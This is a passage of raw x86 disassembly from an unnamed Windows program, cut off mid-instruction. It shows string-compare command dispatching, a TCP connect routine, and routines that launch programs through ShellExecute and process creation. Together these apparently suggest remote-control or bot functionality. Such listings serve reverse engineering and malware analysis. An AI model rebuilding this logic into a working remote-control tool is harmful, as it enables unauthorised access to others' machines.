77C3F010h nop add esp, 8 test eax, eax jz short loc_41BC74 push eax call near ptr 77C40AB1h nop add esp, 4 mov al, 1 retn ; --------------------------------------------------------------------------- loc_41BC74: ; CODE XREF: ___:0041BC65j xor al, al retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41BC90 proc near ; CODE XREF: sub_401479j var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_20 = byte ptr -20h arg_0 = dword ptr 4 sub esp, 30h push ebx push ebp push esi push edi mov edi, [esp+40h+arg_0] test edi, edi jz loc_41BEEE mov esi, offset byte_446F60 mov eax, edi loc_41BCAA: ; CODE XREF: sub_41BC90+3Cj mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_41BCD2 test cl, cl jz short loc_41BCCE mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_41BCD2 add eax, 2 add esi, 2 test cl, cl jnz short loc_41BCAA loc_41BCCE: ; CODE XREF: sub_41BC90+26j xor eax, eax jmp short loc_41BCD7 ; --------------------------------------------------------------------------- loc_41BCD2: ; CODE XREF: sub_41BC90+22j ; sub_41BC90+32j sbb eax, eax sbb eax, 0FFFFFFFFh loc_41BCD7: ; CODE XREF: sub_41BC90+40j test eax, eax jz loc_41BEEE push 20h lea eax, [esp+44h+var_20] push edi push eax call near ptr 77C47A90h nop mov edi, dword_50FAF4 lea ecx, [esp+4Ch+var_20] push offset dword_443DC4 push ecx call edi add esp, 14h mov [esp+40h+var_30], eax test eax, eax jz loc_41BEEE mov ebx, 1 lea esi, [esp+40h+var_2C] loc_41BD17: ; CODE XREF: sub_41BC90+A4j push offset dword_443DC4 push 0 call edi add esp, 8 mov [esi], eax test eax, eax jz loc_41BEEE inc ebx add esi, 4 cmp ebx, 4 jl short loc_41BD17 mov ebp, [esp+40h+var_30] mov esi, offset dword_443E98 mov eax, ebp loc_41BD41: ; CODE XREF: sub_41BC90+D3j mov cl, [eax] mov bl, [esi] mov dl, cl cmp cl, bl jnz short loc_41BD69 test dl, dl jz short loc_41BD65 mov cl, [eax+1] mov bl, [esi+1] mov dl, cl cmp cl, bl jnz short loc_41BD69 add eax, 2 add esi, 2 test dl, dl jnz short loc_41BD41 loc_41BD65: ; CODE XREF: sub_41BC90+BDj xor eax, eax jmp short loc_41BD6E ; --------------------------------------------------------------------------- loc_41BD69: ; CODE XREF: sub_41BC90+B9j ; sub_41BC90+C9j sbb eax, eax sbb eax, 0FFFFFFFFh loc_41BD6E: ; CODE XREF: sub_41BC90+D7j test eax, eax jnz short loc_41BD7C pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 30h retn ; --------------------------------------------------------------------------- loc_41BD7C: ; CODE XREF: sub_41BC90+E0j mov esi, offset dword_443E94 mov eax, ebp loc_41BD83: ; CODE XREF: sub_41BC90+115j mov cl, [eax] mov bl, [esi] mov dl, cl cmp cl, bl jnz short loc_41BDAB test dl, dl jz short loc_41BDA7 mov cl, [eax+1] mov bl, [esi+1] mov dl, cl cmp cl, bl jnz short loc_41BDAB add eax, 2 add esi, 2 test dl, dl jnz short loc_41BD83 loc_41BDA7: ; CODE XREF: sub_41BC90+FFj xor eax, eax jmp short loc_41BDB0 ; --------------------------------------------------------------------------- loc_41BDAB: ; CODE XREF: sub_41BC90+FBj ; sub_41BC90+10Bj sbb eax, eax sbb eax, 0FFFFFFFFh loc_41BDB0: ; CODE XREF: sub_41BC90+119j mov edi, [esp+40h+var_2C] test eax, eax jnz short loc_41BDFA mov esi, offset dword_443E90 mov edx, edi loc_41BDBF: ; CODE XREF: sub_41BC90+151j mov al, [edx] mov cl, [esi] mov bl, al cmp al, cl jnz short loc_41BDE7 test bl, bl jz short loc_41BDE3 mov cl, [edx+1] mov al, [esi+1] mov bl, cl cmp cl, al jnz short loc_41BDE7 add edx, 2 add esi, 2 test bl, bl jnz short loc_41BDBF loc_41BDE3: ; CODE XREF: sub_41BC90+13Bj xor edx, edx jmp short loc_41BDEC ; --------------------------------------------------------------------------- loc_41BDE7: ; CODE XREF: sub_41BC90+137j ; sub_41BC90+147j sbb edx, edx sbb edx, 0FFFFFFFFh loc_41BDEC: ; CODE XREF: sub_41BC90+155j test edx, edx jnz short loc_41BDFA pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 30h retn ; --------------------------------------------------------------------------- loc_41BDFA: ; CODE XREF: sub_41BC90+126j ; sub_41BC90+15Ej mov esi, offset dword_443E8C mov edx, ebp loc_41BE01: ; CODE XREF: sub_41BC90+193j mov al, [edx] mov cl, [esi] mov bl, al cmp al, cl jnz short loc_41BE29 test bl, bl jz short loc_41BE25 mov cl, [edx+1] mov al, [esi+1] mov bl, cl cmp cl, al jnz short loc_41BE29 add edx, 2 add esi, 2 test bl, bl jnz short loc_41BE01 loc_41BE25: ; CODE XREF: sub_41BC90+17Dj xor edx, edx jmp short loc_41BE2E ; --------------------------------------------------------------------------- loc_41BE29: ; CODE XREF: sub_41BC90+179j ; sub_41BC90+189j sbb edx, edx sbb edx, 0FFFFFFFFh loc_41BE2E: ; CODE XREF: sub_41BC90+197j test edx, edx jnz short loc_41BE74 mov esi, offset dword_443E88 mov edx, edi loc_41BE39: ; CODE XREF: sub_41BC90+1CBj mov al, [edx] mov cl, [esi] mov bl, al cmp al, cl jnz short loc_41BE61 test bl, bl jz short loc_41BE5D mov cl, [edx+1] mov al, [esi+1] mov bl, cl cmp cl, al jnz short loc_41BE61 add edx, 2 add esi, 2 test bl, bl jnz short loc_41BE39 loc_41BE5D: ; CODE XREF: sub_41BC90+1B5j xor edx, edx jmp short loc_41BE66 ; --------------------------------------------------------------------------- loc_41BE61: ; CODE XREF: sub_41BC90+1B1j ; sub_41BC90+1C1j sbb edx, edx sbb edx, 0FFFFFFFFh loc_41BE66: ; CODE XREF: sub_41BC90+1CFj test edx, edx jnz short loc_41BE74 pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 30h retn ; --------------------------------------------------------------------------- loc_41BE74: ; CODE XREF: sub_41BC90+1A0j ; sub_41BC90+1D8j mov esi, offset dword_443E84 mov ecx, ebp loc_41BE7B: ; CODE XREF: sub_41BC90+20Dj mov al, [ecx] mov bl, [esi] mov dl, al cmp al, bl jnz short loc_41BEA3 test dl, dl jz short loc_41BE9F mov al, [ecx+1] mov bl, [esi+1] mov dl, al cmp al, bl jnz short loc_41BEA3 add ecx, 2 add esi, 2 test dl, dl jnz short loc_41BE7B loc_41BE9F: ; CODE XREF: sub_41BC90+1F7j xor ecx, ecx jmp short loc_41BEA8 ; --------------------------------------------------------------------------- loc_41BEA3: ; CODE XREF: sub_41BC90+1F3j ; sub_41BC90+203j sbb ecx, ecx sbb ecx, 0FFFFFFFFh loc_41BEA8: ; CODE XREF: sub_41BC90+211j test ecx, ecx jnz short loc_41BEEE mov esi, offset dword_443E80 mov eax, edi loc_41BEB3: ; CODE XREF: sub_41BC90+245j mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_41BEDB test cl, cl jz short loc_41BED7 mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_41BEDB add eax, 2 add esi, 2 test cl, cl jnz short loc_41BEB3 loc_41BED7: ; CODE XREF: sub_41BC90+22Fj xor eax, eax jmp short loc_41BEE0 ; --------------------------------------------------------------------------- loc_41BEDB: ; CODE XREF: sub_41BC90+22Bj ; sub_41BC90+23Bj sbb eax, eax sbb eax, 0FFFFFFFFh loc_41BEE0: ; CODE XREF: sub_41BC90+249j test eax, eax jnz short loc_41BEEE pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 30h retn ; --------------------------------------------------------------------------- loc_41BEEE: ; CODE XREF: sub_41BC90+Dj ; sub_41BC90+49j ... pop edi pop esi pop ebp xor al, al pop ebx add esp, 30h retn sub_41BC90 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41BFA0 proc near ; CODE XREF: sub_402004j var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 10h push ebx push esi push 6 push 1 push 2 xor bl, bl nop call near ptr 71AB3B91h mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_41C008 cmp esi, 0FFFFFFFFh jz short loc_41C008 mov eax, [esp+18h+arg_0] push eax nop call near ptr 71AB2BF4h mov ecx, [esp+18h+arg_4] mov [esp+18h+var_C], eax push ecx nop call near ptr 71AB2B66h lea edx, [esp+18h+var_10] push 10h push edx push esi mov [esp+24h+var_E], ax mov [esp+24h+var_10], 2 call near ptr 71AB406Ah nop test eax, eax jnz short loc_41BFF9 mov bl, 1 loc_41BFF9: ; CODE XREF: sub_41BFA0+55j push esi nop call near ptr 71AB9639h mov al, bl pop esi pop ebx add esp, 10h retn ; --------------------------------------------------------------------------- loc_41C008: ; CODE XREF: sub_41BFA0+18j ; sub_41BFA0+1Dj pop esi xor al, al pop ebx add esp, 10h retn sub_41BFA0 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41C030 proc near ; CODE XREF: sub_401299j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push 0 push 0 push eax push ecx push offset aOpen ; "open" push 0 call near ptr 7CA41110h nop cmp eax, 20h setnl al retn sub_41C030 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41C070 proc near ; CODE XREF: sub_402149j var_54 = byte ptr -54h var_44 = dword ptr -44h var_14 = word ptr -14h arg_0 = dword ptr 4 sub esp, 54h push edi mov ecx, 11h xor eax, eax lea edi, [esp+58h+var_44] rep stosd mov [esp+58h+var_14], ax lea eax, [esp+58h+var_54] mov edx, [esp+58h+arg_0] lea ecx, [esp+58h+var_44] push eax push ecx push 0 push 0 push 28h push 0 push 0 push 0 push edx push 0 mov [esp+80h+var_44], 44h call near ptr 27F0000h nop test eax, eax setnle al pop edi add esp, 54h retn sub_41C070 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41C0E0: ; CODE XREF: ___:00401875j sub esp, 354h mov eax, off_443EA4 mov ecx, dword_443EA8 mov [esp+0], eax mov al, byte_446F60 push esi push edi mov [esp+0Ch], ecx mov [esp+14h], al mov ecx, 45h xor eax, eax lea edi, [esp+15h] mov edx, dword_443EAC rep stosd mov ecx, off_443E9C mov [esp+10h], edx mov dx, word_443EA0 mov [esp+12Ch], ecx stosw stosb mov ecx, 8Ah xor eax, eax lea edi, [esp+132h] mov [esp+130h], dx rep stosd mov ecx, [esp+360h] push 0FFh stosw lea eax, [esp+18h] xor edi, edi push eax push 0FFFFFFFFh push ecx push edi push edi nop call near ptr 27A0000h mov esi, dword_50FAAC lea edx, [esp+14h] lea eax, [esp+12Ch] push edx push eax call esi lea ecx, [esp+10h] lea edx, [esp+134h] push ecx push edx call esi mov esi, [esp+374h] add esp, 10h lea eax, [esp+12Ch] push edi push offset dword_50BB7C push offset dword_50BB7C push esi mov [esi+4], edi mov [esi+10h], edi mov [esi+14h], eax mov [esi+1Ch], edi call sub_436FA8 ; --------------------------------------------------------------------------- cmp eax, 5 jz short loc_41C1C8 cmp eax, 4C3h jnz short loc_41C1D1 loc_41C1C8: ; CODE XREF: ___:0041C1BFj push edi push edi push edi push esi call sub_436FA8 ; --------------------------------------------------------------------------- loc_41C1D1: ; CODE XREF: ___:0041C1C6j pop edi cmp eax, 5 pop esi jz short loc_41C1E8 cmp eax, 4C3h jz short loc_41C1E8 mov al, 1 add esp, 354h retn ; --------------------------------------------------------------------------- loc_41C1E8: ; CODE XREF: ___:0041C1D6j ; ___:0041C1DDj xor al, al add esp, 354h retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_41C250: ; CODE XREF: ___:00401EC9j sub esp, 354h mov eax, off_443EA4 mov ecx, dword_443EA8 mov [esp+0], eax mov al, byte_446F60 push esi push edi mov [esp+0Ch], ecx mov [esp+14h], al mov ecx, 45h xor eax, eax lea edi, [esp+15h] mov edx, dword_443EAC rep stosd mov ecx, off_443E9C mov [esp+10h], edx mov dx, word_443EA0 mov [esp+12Ch], ecx stosw stosb mov ecx, 8Ah xor eax, eax lea edi, [esp+132h] mov [esp+130h], dx rep stosd mov ecx, [esp+360h] push 0FFh stosw lea eax, [esp+18h] push eax push 0FFFFFFFFh push ecx push 0 push 0 call near ptr 27A0000h nop mov esi, dword_50FAAC lea edx, [esp+14h] lea eax, [esp+12Ch] push edx push eax call esi lea ecx, [esp+10h] lea edx, [esp+134h] push ecx push edx call esi add esp, 10h lea eax, [esp+12Ch] push 0 push 0 push eax call sub_436FAE ; --------------------------------------------------------------------------- test eax, eax jz short loc_41C338 mov esi, dword_50F8D0 loc_41C31C: ; CODE XREF: ___:0041C336j push 7D0h call esi push 0 lea ecx, [esp+130h] push 0 push ecx call sub_436FAE ; --------------------------------------------------------------------------- test eax, eax jnz short loc_41C31C loc_41C338: ; CODE XREF: ___:0041C314j pop edi mov al, 1 pop esi add esp, 354h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_41C390 proc near ; CODE XREF: sub_401D7Fj var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41C390 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 0Ch push 4 push 4Fh push 10h push 14h lea eax, [esp+5Ch+var_3C] push 6 mov esi, ecx push eax call sub_4019B5 add esp, 20h push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_4017E4 lea ecx, [esi+0BCh] push eax push ecx mov ecx, offset dword_447148 call sub_401591 sub_41C390 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 5 push 18h push 5 push 4Fh push 10h push 14h lea edx, [esp+24h] push 6 push edx call sub_4019B5 add esp, 24h push esi mov ecx, eax mov dword ptr [esp+44h], 1 call sub_4017E4 push eax lea eax, [esi+118h] push eax mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 10h push 15h push 4Fh push 10h push 14h lea ecx, [esp+20h] push 6 push ecx call sub_4019B5 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+44h], 2 call sub_4017E4 lea edx, [esi+0EAh] push eax push edx mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 7 push 4 push 0Ch push 10h push 0Ah push 4Fh push 10h push 14h push 14h lea eax, [esp+30h] push 8 push eax call sub_4019B5 add esp, 30h push esi mov ecx, eax mov dword ptr [esp+44h], 3 call sub_4017E4 lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 5 push 18h push 5 push 4Fh push 10h push 14h push 14h lea edx, [esp+28h] push 8 push edx call sub_4019B5 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+44h], 4 call sub_4017E4 push eax lea eax, [esi+60h] push eax mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 5 push 4 push 43h push 10h push 0Ah push 4Fh push 10h push 14h push 14h lea ecx, [esp+48h] push 8 push ecx call sub_4019B5 add esp, 30h push esi mov ecx, eax mov dword ptr [esp+44h], 5 call sub_4017E4 add esi, 32h push eax push esi mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+20h] mov [esp+40h], edi call sub_401226 mov ecx, [esp+38h] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 7 dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41C610 proc near ; CODE XREF: sub_401064j var_111 = byte ptr -111h var_110 = dword ptr -110h var_10C = byte ptr -10Ch var_F4 = byte ptr -0F4h var_DC = byte ptr -0DCh var_C4 = byte ptr -0C4h var_AC = byte ptr -0ACh var_94 = byte ptr -94h var_7C = byte ptr -7Ch var_67 = byte ptr -67h var_52 = byte ptr -52h var_3D = byte ptr -3Dh var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_41C610 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 108h push ebx push ebp mov ebp, ecx push esi push edi lea ecx, [esp+124h+var_10C] call sub_401424 lea ecx, [esp+124h+var_DC] mov [esp+124h+var_4], 0 call sub_401424 lea ecx, [esp+124h+var_AC] mov byte ptr [esp+124h+var_4], 1 call sub_401424 lea ecx, [esp+124h+var_94] mov byte ptr [esp+124h+var_4], 2 call sub_401424 lea ecx, [esp+124h+var_C4] mov byte ptr [esp+124h+var_4], 3 call sub_401424 lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 4 call sub_401B36 mov esi, [esp+124h+arg_0] mov bl, 5 lea ecx, [ebp+8Eh] mov byte ptr [esp+124h+var_4], bl lea edi, [esi+7Eh] call sub_4017E4 push eax mov ecx, edi call sub_4012EE lea ecx, [ebp+4] call sub_4017E4 push eax mov ecx, edi call sub_4012EE test eax, eax jnz loc_41C83C push offset asc_443600 ; " " lea eax, [esp+128h+var_F4] push 1 push eax mov ecx, esi call sub_4016AE lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 6 push ecx mov ecx, eax call sub_401681 push eax call sub_401938 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_401226 mov al, [esp+124h+var_111] test al, al jnz loc_41D1A1 lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401FBE push offset asc_443C84 ; ":" lea ecx, [esp+128h+var_10C] call sub_401A9B mov eax, [esp+124h+var_28] lea ecx, [esp+124h+var_10C] push eax call sub_401140 lea ecx, [esp+124h+var_24] push ecx lea ecx, [esp+128h+var_DC] call sub_401FBE push 1 push offset asc_443600 ; " " lea edx, [esp+12Ch+var_F4] push 2 push edx mov ecx, esi call sub_4011EA push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 7 call sub_401FBE lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_401226 push 94h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 8 jz short loc_41C7CC mov ecx, eax call sub_4021C6 mov edi, eax jmp short loc_41C7CE ; --------------------------------------------------------------------------- loc_41C7CC: ; CODE XREF: sub_41C610+1AFj xor edi, edi loc_41C7CE: ; CODE XREF: sub_41C610+1BAj lea eax, [esp+124h+var_10C] lea ecx, [edi+11h] push eax mov byte ptr [esp+128h+var_4], bl call sub_401FBE lea ecx, [esp+124h+var_DC] push ecx lea ecx, [edi+26h] call sub_401FBE lea edx, [esp+124h+var_C4] lea ecx, [edi+65h] push edx call sub_401FBE lea eax, [esi+69h] lea ecx, [edi+7Ah] push eax call sub_401FBE mov byte ptr [edi+8Fh], 0 mov byte ptr [edi+90h], 0 mov byte ptr [edi+91h], 0 mov cl, [esi+93h] mov [edi+92h], cl mov dl, [esi+94h] mov ecx, edi mov [edi+93h], dl call sub_4013D4 loc_41C83C: ; CODE XREF: sub_41C610+C0j lea ecx, [ebp+60h] call sub_4017E4 push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_41C9BB push offset asc_443600 ; " " lea eax, [esp+128h+var_F4] push 1 push eax mov ecx, esi call sub_4016AE lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 9 push ecx mov ecx, eax call sub_401681 push eax call sub_401938 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_401226 mov al, [esp+124h+var_111] test al, al jnz loc_41D1A1 lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401FBE push offset asc_443C84 ; ":" lea ecx, [esp+128h+var_10C] call sub_401A9B mov eax, [esp+124h+var_28] lea ecx, [esp+124h+var_10C] push eax call sub_401140 lea ecx, [esp+124h+var_24] push ecx lea ecx, [esp+128h+var_DC] call sub_401FBE push 1 push offset asc_443600 ; " " lea edx, [esp+12Ch+var_F4] push 2 push edx mov ecx, esi call sub_4011EA push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 0Ah call sub_401FBE lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_401226 push 94h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 0Bh jz short loc_41C94B mov ecx, eax call sub_4021C6 mov edi, eax jmp short loc_41C94D ; --------------------------------------------------------------------------- loc_41C94B: ; CODE XREF: sub_41C610+32Ej xor edi, edi loc_41C94D: ; CODE XREF: sub_41C610+339j lea eax, [esp+124h+var_10C] lea ecx, [edi+11h] push eax mov byte ptr [esp+128h+var_4], bl call sub_401FBE lea ecx, [esp+124h+var_DC] push ecx lea ecx, [edi+26h] call sub_401FBE lea edx, [esp+124h+var_C4] lea ecx, [edi+65h] push edx call sub_401FBE lea eax, [esi+69h] lea ecx, [edi+7Ah] push eax call sub_401FBE mov byte ptr [edi+8Fh], 1 mov byte ptr [edi+90h], 0 mov byte ptr [edi+91h], 0 mov cl, [esi+93h] mov [edi+92h], cl mov dl, [esi+94h] mov ecx, edi mov [edi+93h], dl call sub_4013D4 loc_41C9BB: ; CODE XREF: sub_41C610+23Fj lea ecx, [ebp+32h] call sub_4017E4 push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_41CBF6 push offset asc_443600 ; " " lea eax, [esp+128h+var_F4] push 1 push eax mov ecx, esi call sub_4016AE lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 0Ch push ecx mov ecx, eax call sub_401681 push eax call sub_401938 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_401226 mov al, [esp+124h+var_111] test al, al jnz loc_41D1A1 lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401FBE push offset asc_443C84 ; ":" lea ecx, [esp+128h+var_10C] call sub_401A9B mov eax, [esp+124h+var_28] lea ecx, [esp+124h+var_10C] push eax call sub_401140 lea ecx, [esp+124h+var_24] push ecx lea ecx, [esp+128h+var_DC] call sub_401FBE push 1 push offset asc_443600 ; " " lea edx, [esp+12Ch+var_F4] push 2 push edx mov ecx, esi call sub_4011EA push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 0Dh call sub_401FBE lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_401226 push offset asc_443600 ; " " lea eax, [esp+128h+var_F4] push 3 push eax mov ecx, esi call sub_4016AE push offset word_44758A mov ecx, eax mov byte ptr [esp+128h+var_4], 0Eh call sub_401B72 test eax, eax lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl setz [esp+124h+var_111] call sub_401226 mov al, [esp+124h+var_111] test al, al jz short loc_41CB5E lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 4 call sub_4014B0 lea ecx, [esp+124h+var_C4] mov byte ptr [esp+124h+var_4], 3 call sub_401226 lea ecx, [esp+124h+var_94] mov byte ptr [esp+124h+var_4], 2 call sub_401226 lea ecx, [esp+124h+var_AC] mov byte ptr [esp+124h+var_4], 1 call sub_401226 lea ecx, [esp+124h+var_DC] mov byte ptr [esp+124h+var_4], 0 call sub_401226 lea ecx, [esp+124h+var_10C] mov [esp+124h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_41D212 ; --------------------------------------------------------------------------- loc_41CB5E: ; CODE XREF: sub_41C610+4D6j push 94h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 0Fh jz short loc_41CB86 mov ecx, eax call sub_4021C6 mov edi, eax jmp short loc_41CB88 ; --------------------------------------------------------------------------- loc_41CB86: ; CODE XREF: sub_41C610+569j xor edi, edi loc_41CB88: ; CODE XREF: sub_41C610+574j lea ecx, [esp+124h+var_10C] mov byte ptr [esp+124h+var_4], bl push ecx lea ecx, [edi+11h] call sub_401FBE lea edx, [esp+124h+var_DC] lea ecx, [edi+26h] push edx call sub_401FBE lea eax, [esp+124h+var_C4] lea ecx, [edi+65h] push eax call sub_401FBE lea ecx, [esi+69h] push ecx lea ecx, [edi+7Ah] call sub_401FBE mov byte ptr [edi+8Fh], 0 mov byte ptr [edi+90h], 1 mov byte ptr [edi+91h], 0 mov dl, [esi+93h] mov [edi+92h], dl mov al, [esi+94h] mov ecx, edi mov [edi+93h], al call sub_4013D4 loc_41CBF6: ; CODE XREF: sub_41C610+3BEj lea ecx, [ebp+0BCh] call sub_4017E4 push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_41CD9B push offset asc_443600 ; " " lea ecx, [esp+128h+var_F4] push 1 push ecx mov ecx, esi call sub_4016AE lea edx, [esp+124h+var_7C] mov ecx, eax push edx mov byte ptr [esp+128h+var_4], 10h call sub_401681 push eax call sub_401938 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_401226 mov al, [esp+124h+var_111] test al, al jnz loc_41D1A1 lea eax, [esp+124h+var_52] lea ecx, [esp+124h+var_AC] push eax call sub_401FBE lea ecx, [esp+124h+var_3D] push ecx lea ecx, [esp+128h+var_94] call sub_401FBE lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401FBE lea eax, [esp+124h+var_24] lea ecx, [esp+124h+var_DC] push eax call sub_401FBE push 1 push offset asc_443600 ; " " lea ecx, [esp+12Ch+var_F4] push 2 push ecx mov ecx, esi call sub_4011EA push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 11h call sub_401FBE lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_401226 push 94h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 12h jz short loc_41CD0E mov ecx, eax call sub_4021C6 mov edi, eax jmp short loc_41CD10 ; --------------------------------------------------------------------------- loc_41CD0E: ; CODE XREF: sub_41C610+6F1j xor edi, edi loc_41CD10: ; CODE XREF: sub_41C610+6FCj lea edx, [esp+124h+var_10C] lea ecx, [edi+11h] push edx mov byte ptr [esp+128h+var_4], bl call sub_401FBE lea eax, [esp+124h+var_DC] lea ecx, [edi+26h] push eax call sub_401FBE lea ecx, [esp+124h+var_C4] push ecx lea ecx, [edi+65h] call sub_401FBE lea edx, [esp+124h+var_AC] lea ecx, [edi+3Bh] push edx call sub_401FBE lea eax, [esp+124h+var_94] lea ecx, [edi+50h] push eax call sub_401FBE lea ecx, [esi+69h] push ecx lea ecx, [edi+7Ah] call sub_401FBE mov byte ptr [edi+8Fh], 0 mov byte ptr [edi+90h], 0 mov byte ptr [edi+91h], 1 mov dl, [esi+93h] mov [edi+92h], dl mov al, [esi+94h] mov ecx, edi mov [edi+93h], al call sub_4013D4 loc_41CD9B: ; CODE XREF: sub_41C610+5FCj lea ecx, [ebp+118h] call sub_4017E4 push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_41CF40 push offset asc_443600 ; " " lea ecx, [esp+128h+var_F4] push 1 push ecx mov ecx, esi call sub_4016AE lea edx, [esp+124h+var_7C] mov ecx, eax push edx mov byte ptr [esp+128h+var_4], 13h call sub_401681 push eax call sub_401938 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_401226 mov al, [esp+124h+var_111] test al, al jnz loc_41D1A1 lea eax, [esp+124h+var_52] lea ecx, [esp+124h+var_AC] push eax call sub_401FBE lea ecx, [esp+124h+var_3D] push ecx lea ecx, [esp+128h+var_94] call sub_401FBE lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401FBE lea eax, [esp+124h+var_24] lea ecx, [esp+124h+var_DC] push eax call sub_401FBE push 1 push offset asc_443600 ; " " lea ecx, [esp+12Ch+var_F4] push 2 push ecx mov ecx, esi call sub_4011EA push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 14h call sub_401FBE lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_401226 push 94h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 15h jz short loc_41CEB3 mov ecx, eax call sub_4021C6 mov edi, eax jmp short loc_41CEB5 ; --------------------------------------------------------------------------- loc_41CEB3: ; CODE XREF: sub_41C610+896j xor edi, edi loc_41CEB5: ; CODE XREF: sub_41C610+8A1j lea edx, [esp+124h+var_10C] lea ecx, [edi+11h] push edx mov byte ptr [esp+128h+var_4], bl call sub_401FBE lea 